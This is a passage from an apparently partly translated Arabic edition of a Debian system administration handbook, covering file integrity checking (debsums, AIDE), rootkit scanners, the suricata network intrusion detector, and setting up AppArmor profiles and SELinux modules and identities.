لاحظ أن هذا المثال يستخدم grep-status من الحزمة dctrl-tools، وهي غير مثبتة افتراضياً.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpuse or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. مراقبة الملفات: AIDE

تسمح الأداة AIDE‏ (Advanced Intrusion Detection Environment) بالتحقق من سلامة الملفات، واكتشاف أي تغيّرات اعتماداً على صورة مسجلة سابقاً للنظام السليم. تُخزّن هذه الصورة كقاعدة بيانات (/var/lib/aide/aide.db) تحوي خصائص جميع ملفات النظام (البصمات، الصلاحيات، التواريخ وغيرها). تُهيّأ قاعدة البيانات هذه أولاً باستخدام aideinit؛ وبعدها تُستخدَم يومياً (يستخدمها السكربت /etc/cron.daily/aide) للتحقق من عدم تغير أي شيء. عند اكتشاف أي تغير، تسجله AIDE في سجلاتها (/var/log/aide/*.log) وترسل ما وجدته إلى مدير النظام عبر البريد الإلكتروني.

ممارسة عملية حماية قاعدة البيانات

بما أن AIDE تستخدم قاعدة بيانات محلية لمقارنة حالة الملفات، فإن صحة نتائجها ترتبط مباشرة بسلامة قاعدة البيانات. إذا حصل المهاجم على صلاحيات الجذر على النظام المُختَرَق، عندها يستطيع استبدال قاعدة البيانات وتغطية آثاره. من الحلول الممكنة لهذه المشكلة تخزين البيانات على وسيط تخزيني للقراءة فقط.

هناك العديد من الخيارات في /etc/default/aide التي يمكن استخدامها لتعديل سلوك حزمة aide. تخزن إعدادات هذا البرنامج في /etc/aide/aide.conf و /etc/aide/aide.conf.d/ (في الواقع، يستخدم update-aide.conf هذه الملفات فقط لتوليد /var/lib/aide/aide.conf.autogenerated). تدل الإعدادات على الملفات وخصائص الملفات المطلوب التحقق منها. مثلاً، تتغير محتويات ملفات السجلات بشكل متكرر، ويمكن تجاهل هذه التغيرات طالما أن صلاحيات الوصول لهذه الملفات لم تتغير، لكن بالنسبة للبرامج التنفيذية يجب أن تبقى محتوياتها وصلاحياتها ثابتة. رغم أن صيغة هذه الإعدادات ليست بالغة التعقيد، إلا أنها ليست بدهية أيضاً. قراءة صفحة الدليل aide.conf(5)‎ إذن سوف تفيد.

تُولّد نسخة جديدة من قاعدة البيانات يومياً في /var/lib/aide/aide.db.new؛ إذا كانت جميع التغييرات المسجّلة مشروعة، يمكن استخدام هذه النسخة لاستبدال قاعدة البيانات المرجعية.

بدائل Tripwire و Samhain

Tripwire يشبه AIDE كثيراً؛ حتى أن صيغة ملفات الإعداد نفسها تقريباً. الزيادة الرئيسية التي يضيفها tripwire هي آلية لتوقيع ملف الإعداد، بحيث لا يستطيع المهاجم تعديله حتى يشير لنسخة مختلفة من قاعدة البيانات المرجعية.

كما يوفر Samhain مزايا مشابهة، بالإضافة لبعض الوظائف التي تساعد على اكتشاف rootkits (انظر الملاحظة الجانبية نظرة سريعة الحزم checksecurity و chkrootkit/rkhunter). كما يمكن تثبيته على الشبكة كلها وتسجيل نتائجه على مخدم مركزي (مع استخدام توقيع).

نظرة سريعة الحزم checksecurity و chkrootkit/rkhunter

تحوي أولى هذه الحزم عدة سكربتات صغيرة تجري اختبارات أساسية على النظام (كلمات السر الفارغة، ملفات setuid جديدة، وما شابه) وتُحذِّر مدير النظام إذا اقتضى الأمر. رغم اسمها الواضح، إلا أنه لا يجب أن يعتمد مدير النظام عليها وحدها للتأكد من أمان نظام لينكس.

تسمح الحزمتين chkrootkit و rkhunter بالبحث عن rootkits التي يحتمل أنها مثبّتة على النظام. للتذكرة، rootkits هي برمجيات مصممة لإخفاء عملية اختراق النظام بينما تحافظ على إمكانية التحكم بالجهاز بصمت. ليست الفحوصات موثوقة 100%، لكنها قد تلفت انتباه مدير النظام عادة للمشاكل الكامنة.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. اكتشاف التطفل (IDS/NIDS)

أساسيات Denial of service

تهدف هجمات ”denial of service“ لغرض واحد فقط: إيقاف خدمة عن العمل. سواء كان الهجوم يشمل إغراق المخدم بالطلبات أو استغلال علة ما، النتيجة النهائية هي نفسها: لم تعد الخدمة متوفرة. المستخدمون المنتظمون غير راضين، وتعاني الهيئة التي تستضيف الخدمة المستهدفة من خسارة سمعتها (وربما أرباحها، إذا كانت الخدمة مثلاً موقع تجارة إلكترونية).

توصف هذه الهجمات أحياناً بأنها ”موزعة“ (distributed)؛ حيث تشمل هذه الهجمات إغراق المخدم بعدد ضخم من الطلبات التي ترد من مصادر مختلفة عديدة بحيث يعجز المخدم عن إجابة الطلبات النظامية. اكتسب هذان النوعان من الهجمات اختصارين شهيرين: DDoS و DoS (الأول للهجمات الموزعة والثاني للهجمات العادية).

suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata-ids.org

→ https://www.elastic.co/products/kibana

تحذير المدى المجدي

تتحدد فعالية suricata بمقدار الحركة التي يراها من خلال الواجهة الشبكية المراقبة. من الواضح أنه لن يتمكن من اكتشاف أي شيء إذا لم يتمكن من معاينة الحركة الحقيقية على الشبكة. سوف يراقب إذن، عند توصيله مع تحويلة شبكية (switch)، الهجمات التي تستهدف الجهاز الذي يعمل عليه فقط، وهذا ليس المقصود على الأرجح. بالتالي، يجب توصيل الجهاز الذي يستضيف suricata بمنفذ ”المرآة“ في التحويلة، المخصص لربط التحويلات مع بعضها وبالتالي تصل إليه جميع الرزم.

لضبط suricata يجب مراجعة الملف /etc/suricata/suricata-debian.yaml وتعديله. هذا الملف طويل جداً بسبب التعليقات المسهبة لكل متغير. يتطلب أصغر إعداد ممكن تحديد مجالات العناوين التي تغطيها الشبكة المحلية (المتغير HOME_NET). عملياً، هذا يعني مجموعة العناوين التي يحتمل استهدافها بالهجمات. لكن لتحقيق الاستفادة القصوى يجب قراءة الملف كاملاً وتعديله بما يناسب الوضع محلياً.

بالإضافة لهذا عليك تحرير /etc/default/suricata وتعريف الواجهة الشبكية التي ستُرَاقَب وتفعيل سكريبت الإقلاع (عبر ضبط القيمة RUN=yes). كما قد ترغب بضبط القيمة LISTENMODE=pcap لأن القيمة الافتراضية LISTENMODE=nfqueue تتطلب إعدادات إضافية حتى تعمل بشكل صحيح (يجب ضبط الجدار الناري netfilter بحيث يمرر الرزم إلى رتل في ساحة المستخدم يتحكم به suricata عبر استخدام الهدف NFQUEUE).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

هناك حل بديل وهو استخدام oinkmaster (من الحزمة ذات الاسم نفسه) لتنزيل مجموعات قواعد Snort من مصادر خارجية.

التعمق أكثر التكامل مع prelude

يوفر Prelude مراقبة مركزية للمعلومات الأمنية. تتضمن معماريته التجزيئية مخدماً (manager في prelude-manager) الذي يجمع التحذيرات التي تولدها الحساسات (sensors) المختلفة.

يمكن إعداد Suricata حتى يعمل كحساس. من الحساسات الأخرى prelude-lml‏ (Log Monitor Lackey) الذي يراقب ملفات السجلات (بطريقة تشبه logcheck، المشروح في قسم 14.3.1, “مراقبة السجلات باستخدام logcheck”).

14.4. مقدمة إلى AppArmor

14.4.1. المبادئ

AppArmor هو نظام تحكم إلزامي بالوصول Mandatory Access Control ‏(MAC) مبني على واجهة LSM‏ (Linux Security Modules) في لينكس. عملياً، تستشير النواة AppArmor قبل كل استدعاء للنظام حتى تعرف إذا كانت العملية المستدعية مخولة لتنفيذ الإجراء المطلوب. يعتمد AppArmor على هذه الآلية لتقييد التطبيقات بمجموعة محددة من الموارد.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in قسم 14.5, “مقدمة إلى SELinux”), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

تُخزَّن بروفايلات AppArmor في /etc/apparmor.d/ وهي تحوي قائمة من قواعد التحكم بالوصول لكل الموارد التي يمكن أن يستخدمها أي برنامج. يترجم apparmor_parser هذه البروفايلات ويحملها إلى النواة. يمكن تحميل كل بروفايل إما في وضع الإلزام أو وضع الشكوى. يفرض الوضع الأول اتباع السياسة ويبلغ عن محاولات اختراقها، أما الوضع الثاني فلا يفرض السياسة بل يكتفي بتسجيل نداءات النظام التي تخالف السياسة والتي كان الوضع الأول سيمنعها.

14.4.2. تفعيل AppArmor وإدارة بروفايلاته

AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges.

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status apparmor module is loaded. 40 profiles are loaded. 23 profiles are in enforce mode. /usr/bin/evince /usr/bin/evince-previewer [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 14 processes have profiles defined. 12 processes are in enforce mode. /usr/bin/evince (3462) [...] 2 processes are in complain mode. /usr/sbin/avahi-daemon (429) avahi-daemon /usr/sbin/avahi-daemon (511) avahi-daemon 0 processes are unconfined but have a profile defined.

ملاحظة بروفايلات AppArmor إضافية

تحوي الحزمة apparmor-profiles بروفايلات يديرها مجتمع AppArmor المنبعي. للحصول على بروفايلات إضافية أخرى يمكنك تثبيت apparmor-profiles-extra التي تحوي بروفايلات من تطوير أوبنتو ودبيان.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3.  إنشاء بروفايل جديد

رغم أن إنشاء بروفايلات AppArmor سهل، إلا أن معظم البرامج ليس لها بروفايل. سنشرح في هذا القسم طريقة إنشاء بروفايل جديد من الصفر عبر استخدام البرنامج المستهدف وترك AppArmor يراقب نداءات النظام التي يجريها والموارد التي يستخدمها.

أهم البرامج التي يجب تقييدها هي البرامج التي تواجه الشبكة لأنها أكثر ما يستهدفه المهاجمون عن بعد. لهذا السبب يوفر AppArmor الأمر المساعد aa-unconfined الذي يسرد البرامج التي توفر مقابس شبكية مفتوحة دون أن ترتبط مع أي بروفايل. ومع استخدام الخيار --paranoid سيذكر لك كل العمليات التي تملك اتصالاً شبكياً واحداً نشطاً أو أكثر.

# aa-unconfined 801 /sbin/dhclient not confined 409 /usr/sbin/NetworkManager not confined 411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)' 429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)' 516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)' 538 /usr/sbin/zebra not confined 591 /usr/sbin/named not confined 847 /usr/sbin/mysqld not confined 849 /usr/sbin/sshd not confined 1013 /usr/sbin/dhclient (/sbin/dhclient) not confined 1276 /usr/sbin/apache2 not confined 1322 /usr/sbin/apache2 not confined 1323 /usr/sbin/apache2 not confined 1324 /usr/sbin/apache2 not confined 1325 /usr/sbin/apache2 not confined 1327 /usr/sbin/apache2 not confined 1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)' 2132 /usr/sbin/exim4 not confined 12865 /usr/bin/python3.7 (/usr/bin/python3) not confined 12873 /usr/bin/python3.7 (/usr/bin/python3) not confined

In the following example, we will thus try to create a profile for /sbin/dhclient. For this we will use aa-genprof dhclient. In Debian Buster there is a known bug[6] that makes the previous command fail with the following error: ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found. To fix it create the missing files with touch file. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish Reading log entries from /var/log/syslog. Updating AppArmor profiles in /etc/apparmor.d. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. (Y)es / [(N)o] Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] [(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw to profile. Profile: /sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis> ] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/ubuntu-browsers.d/plugins-common> 3 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

لاحظ أن البرنامج لا يعيد عرض محارف التحكم التي تطبعها ولكنني ضمنتها في المقطع السابق لتوضيح الشرح.

أول حدث مكتشف هو تنفيذ برنامج آخر. في هذه الحالة، لديك عدة اختيارات: يمكنك تشغيل البرنامج باستخدام بروفايل العملية الأم (خيار الوراثة ”Inherit“)، أو يمكنك تنفيذه باستخدام بروفايل خاص (عبر خياري ”Profile“ و”Named“ اللذان يختلفان عن بعضهما بإمكانية استخدام اسم بروفايل عشوائي فقط)، أو يمكنك تشغيله باستخدام بروفايل فرعي من العملية الأم (خيار ”Child“)، أو يمكنك تشغيله دون أي بروفايل (خيار ”Unconfined“) أو يمكنك عدم السماح بتشغيله نهائياً (خيار ”Deny“).

لاحظ أنك إذا اخترت تشغيله باستخدام بروفايل مخصص غير موجود بعد، فسوف تنشئ الأداة البروفايل المفقود كما ستقترح قواعد وصول لذلك البروفايل في الاستدعاء نفسه.

على مستوى النواة، قُسِّمت صلاحيات المستخدم الجذر إلى ”capabilities“ أو قدرات. إذا كانت إحدى نداءات النظام تحتاج لقدرة معينة، يتحقق AppArmor من أن البروفايل يسمح للبرنامج باستخدام هذه المقدرة.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

بعد المرور على كل الأحداث المسجلة، يعرض عليك البرنامج حفظ البروفايلات التي أنشأتها أثناء العملية. في هذه الحالة، لدينا بروفايلين وقد حفظناهما معاً باستخدام ”Save“ (لكن يمكنك حفظهما بشكل إفرادي أيضاً) قبل الخروج من البرنامج باستخدام ”Finish“.

في الواقع، aa-genprof ما هو إلا غلاف ذكي للأمر aa-logprof: فهو ينشئ بروفايلاً فارغاً، ويحمله في وضع الشكوى ثم يستدعي aa-logprof وهي عبارة عن أداة تحدث البروفايل اعتماداً على انتهاكات القواعد المسجلة. ويمكنك إعادة استدعاء تلك الأداة لاحقاً لتحسين البروفايل الذي أنشأته الآن.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to this:

# Last Modified: Fri Jul 5 00:51:02 2019 #include <tunables/global> /usr/sbin/dhclient { #include <abstractions/base> #include <abstractions/nameservice> capability net_bind_service, capability net_raw, /bin/dash r, /etc/dhcp/* r, /etc/dhcp/dhclient-enter-hooks.d/* r, /etc/dhcp/dhclient-exit-hooks.d/* r, /etc/resolv.conf.* w, /etc/samba/dhcp.conf.* w, /proc/*/net/dev r, /proc/filesystems r, /run/dhclient*.pid w, /sbin/dhclient mr, /sbin/dhclient-script rCx, /usr/lib/NetworkManager/nm-dhcp-helper Px, /var/lib/NetworkManager/* r, /var/lib/NetworkManager/*.lease rw, /var/lib/dhcp/*.leases rw, owner /etc/** mrwk, owner /var/** mrwk, owner /{,var/}run/** mrwk, }

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to this:

# Last Modified: Fri Jul 5 00:51:55 2019 #include <tunables/global> /usr/sbin/dhclient-script { #include <abstractions/base> #include <abstractions/bash> #include <abstractions/lightdm> }

[6] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160

14.5. مقدمة إلى SELinux

14.5.1. المبادئ

SELinux‏ (Security Enhanced Linux) هو نظام تحكم إلزامي بالوصول Mandatory Access Control مبني على واجهة LSM‏ (Linux Security Modules) في لينكس. عملياً، تستشير النواة SELinux قبل كل استدعاء للنظام حتى تعرف إذا كانت العملية المستدعية مخولة لتنفيذ الإجراء المطلوب.

يستخدم SELinux مجموعة من القواعد — تُعرَف باسم السياسة policy — لحظر الإجراءات أو السماح بها. إنشاء هذه القواعد صعب. لكن لحسن الحظ، هناك سياستين قياسيتين (targeted و strict) متاحتين لتوفير عناء معظم عملية الإعداد.

إدارة الصلاحيات مع SELinux تختلف تماماً عن نظم يونكس التقليدية. تعتمد صلاحيات العملية على سياقها الأمني. يتحدد السياق بهوية المستخدم الذي بدأ تنفيذ العملية، والدور والنطاق الذين كان يحملهما المستخدم في ذلك الوقت. تعتمد الصلاحيات فعلياً على النطاق، لكن الأدوار هي التي تحكم الانتقالات بين النطاقات. أخيراً، تعتمد الانتقالات بين الأدوار على هوية المستخدم.

شكل 14.1. السياق الأمني ومستخدمي يونكس

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

من الواضح أن الصلاحيات نفسها لا تنطبق على جميع الكائنات objects (ملفات، مجلدات، مقابس شبكية، أجهزة، الخ)، بل تختلف من كائن لآخر. لتحقيق هذا، يُربَط كل كائن مع نوع type (تعرف هذه العملية بالوسم labeling). تُمثَّل صلاحيات النطاق إذن بمجموعات من الإجراءات المسموحة (أو الممنوعة) على هذه الأنواع (وبالتالي، تنطبق بشكل غير مباشر على الكائنات التي وسمت بهذا النوع).

إضافة النطاقات والأنواع متساويان

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

افتراضياً، يرث البرنامج نطاقه من المستخدم الذي بدأ تنفيذه، لكن سياسات SELinux القياسية تتوقع تشغيل برامج مهمة عديدة في نطاقات خاصة بها. لتحقيق ذلك، توسم هذه البرامج التنفيذية بأنواع خاصة بها (مثلاً، يوسم ssh بالنوع ssh_exec_t وعند تشغيل البرنامج، سينتقل تلقائياً إلى النطاق ssh_t) . تسمح آلية الانتقال التلقائي بين النطاقات هذه بمنح كل برنامج الصلاحيات التي يحتاجها فقط. هذا أحد المبادئ الأساسية في SELinux.

شكل 14.2. الانتقالات الآلية بين النطاقات

ممارسة عملية معرفة السياق الأمني

لمعرفة السياق الأمني لعملية معينة، عليك استخدام الخيار Z لبرنامج ps.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

يحوي الحقل الأول الهوية، والدور، والنطاق، ورتبة MCS، تفصل عن بعضها بنقاط رأسية. رتبة MCS‏ (Multi-Category Security) هي متغير يدخل في إعداد سياسة حماية السرية، التي تنظم الوصول للملفات اعتماداً على حساسيتها. هذه الميزة غير مشروحة في هذا الكتاب.

لمعرفة السياق الأمني الحالي في الصَدَفة، بمكنك استدعاء id -Z.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

وأخيراً، لمعرفة النوع المرتبط بملف ما، يمكنك استخدام ls -Z.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

يجدر بالملاحظة أن الهوية والدور المسندين إلى الملفات لا تحملان أي أهمية خاصة (إذ أنها لا تستخدم أبداً)، لكن جميع الكائنات تتمتع بسياق أمني كامل في سبيل الحفاظ على الاتساق.

14.5.2. إعداد SELinux

دعم SELinux مبني ضمن النَوَى القياسية التي توفرها دبيان. كما تدعم أدوات يونكس الأساسية SELinux دون أي تعديلات. إذن من السهل نسبياً تفعيل SELinux.

سوف يثبت الأمر apt install selinux-basics selinux-policy-default آلياً الحزم اللازمة لإعداد نظام SELinux.

تحوي الحزمة selinux-policy-default مجموعة من الأدوات القياسية. افتراضياً، تُقيّد هذه السياسة الوصول لبضعة خدمات واسعة الانتشار. جلسات عمل المستخدمين غير مقيدة ولذلك يُستبعَد أن يمنع SELinux إجراءات المستخدمين المشروعة. ومع ذلك، يزيد هذا من أمان خدمات النظام التي تعمل على الجهاز. لإعداد سياسة تشبه القواعد ”الصارمة“ القديمة، عليك فقط تعطيل وحدة unconfined (سنشرح إدارة الوحدات لاحقاً في هذا القسم).

بعد تثبيت السياسة، عليك وسم جميع الملفات المتوفرة (أي إعطائهم نوعاً). يجب بدء تنفيذ هذه العملية يدوياً باستدعاء fixfiles relabel.

نظام SELinux جاهز الآن. لتفعيله عليك إضافة المتغير selinux=1 security=selinux إلى النواة لينكس. أما المتغير audit=1 فيفعّل سجلات SELinux التي تسجل كل الإجراءات التي منعها. أخيراً، يضع المتغير enforcing=1 القواعد في حيز التطبيق، إذ بدونه يعمل SELinux في وضع permissive الافتراضي حيث يكتفي بتسجيل الإجراءات الممنوعة لكنه يسمح بتنفيذها. عليك إذن تعديل ملف إعداد محمل الإقلاع GRUB لإضافة المتغيرات المطلوبة. إحدى الطرق السهلة لتنفيذ ذلك تعديل المتغير GRUB_CMDLINE_LINUX في الملف /etc/default/grub ثم استدعاء update-grub. سينشط SELinux بعد إعادة الإقلاع.

يجدر بالملاحظة أن السكربت selinux-activate يؤتمت هذه الخطوات ويفرض عملية الوسم عند الإقلاع التالي (وبذلك يتفادى إنشاء ملفات جديدة غير موسومة قبل تنشيط SELinux أو أثناء تنفيذ عملية الوسم).

14.5.3. إدارة نظام SELinux

سياسة SELinux هي مجموعة تجزيئية (modular) من القواعد، وتكتشف أثناء تثبيتها جميع الوحدات الملائمة وتُفعّلها آلياً اعتماداً على الخدمات المثبتة سابقاً. أي أن النظام جاهز للعمل مباشرة. لكن، إذا ثبَّتّ خدمة بعد تثبيت سياسة SELinux، يجب أن تتمكن بطريقة ما من تفعيل الوحدة المناسبة يدوياً. هذا هو الهدف من الأمر semodule. بالإضافة لذلك، يجب أن تتمكن من تعريف الأدوار التي يمكن أن يأخذها كل مستخدم، ويمكن تنفيذ هذا باستخدام الأمر semanage.

يمكن استخدام هذين الأمرين إذن لتعديل إعدادات SELinux الحالية، المخزنة في /etc/selinux/default/. بخلاف ملفات الإعداد الأخرى التي تجدها في /etc/، لا يجب تعديل أي من هذه الملفات يدوياً. بل يجب استخدام البرامج المخصصة لهذا الغرض.

التعمق أكثر وثائق إضافية

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support.

→ https://wiki.debian.org/SELinux

→ https://etbe.coker.com.au/tag/selinux/

14.5.3.1. إدارة وحدات SELinux

تخزن وحدات SELinux في المجلد /usr/share/selinux/default/. لتنشيط إحدى هذه الوحدات في الإعداد الحالي، عليك استخدام semodule -i module.pp.bz2. ترمز الإضافة pp.bz2 للعبارة policy package (مضغوطة باستخدام bzip2).

يمكن إزالة وحدة من الإعداد الحالي باستخدام semodule -r module. أخيراً، يسرد الأمر semodule -l الوحدات المُثبّتة حالياً، كما يطبع أرقام إصدارها. يمكن تفعيل الوحدات اختيارياً عبر semodule -e كما يمكن تعطيلها عبر semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l

يُحمّل semodule الإعدادات الجديدة فوراً ما لم تستخدم معه الخيار -n. يجدر بالملاحظة أن البرنامج يُعدِّل افتراضياً على الإعدادات الحالية (التي يشير لها المتغير SELINUXTYPE في /etc/selinux/config)، لكن يمكنك جعله يعدل على إعداد آخر عبر استخدام الخيار -s.

14.5.3.2. إدارة الهويات

في كل مرة يُسجّل فيها المستخدم دخوله، تُسنَد له هوية SELinux. تحدد هذه الهوية الأدوار التي يستطيع أخذها. يمكن إدارة هذه التقابلات (بين اسم المستخدم والهويّة، وبين هذه الهوية والأدوار) بالأمر semanage.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most sub-commands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

يسرد الأمر semanage login -l التقابلات الحالية بين هويات المستخدمين وهويات SELinux. يحصل المستخدمون الذين ليس لهم مدخلة تقابل صريحة على الهوية المذكورة في المدخلة __default__. يربط الأمر semanage login -a -s user_u user المستخدم المحدد بالهويّة user_u. وأخيراً، يُسقِط semanage login -d user مدخلة التقابل المسندة للمستخدم.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

يسرد الأمر semanage user -l التقابلات بين هويات المستخدمين في SELinux والأدوار المسموحة. تحتاج إضافة هوية جديدة إلى تعريف الأدوار الموافقة لها بالإضافة لتعريف سابقة الوسم التي تستخدم لتعيين أنواع الملفات الشخصية (/home/user/*). إما أن تكون قيمة هذه السابقة user أو staff أو sysadm. استخدام السابقة ”staff“ ينتج ملفات لهذا النوع ”staff_home_dir_t“. تنشأ هويات SELinux الجديدة باستخدام semanage user -a -R roles -P prefix identity. أخيراً، يمكنك إزالة هوية مستخدم SELinux باستخدام semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. إدارة سياقات الملفات والمنافذ والمتغيرات البوليانية

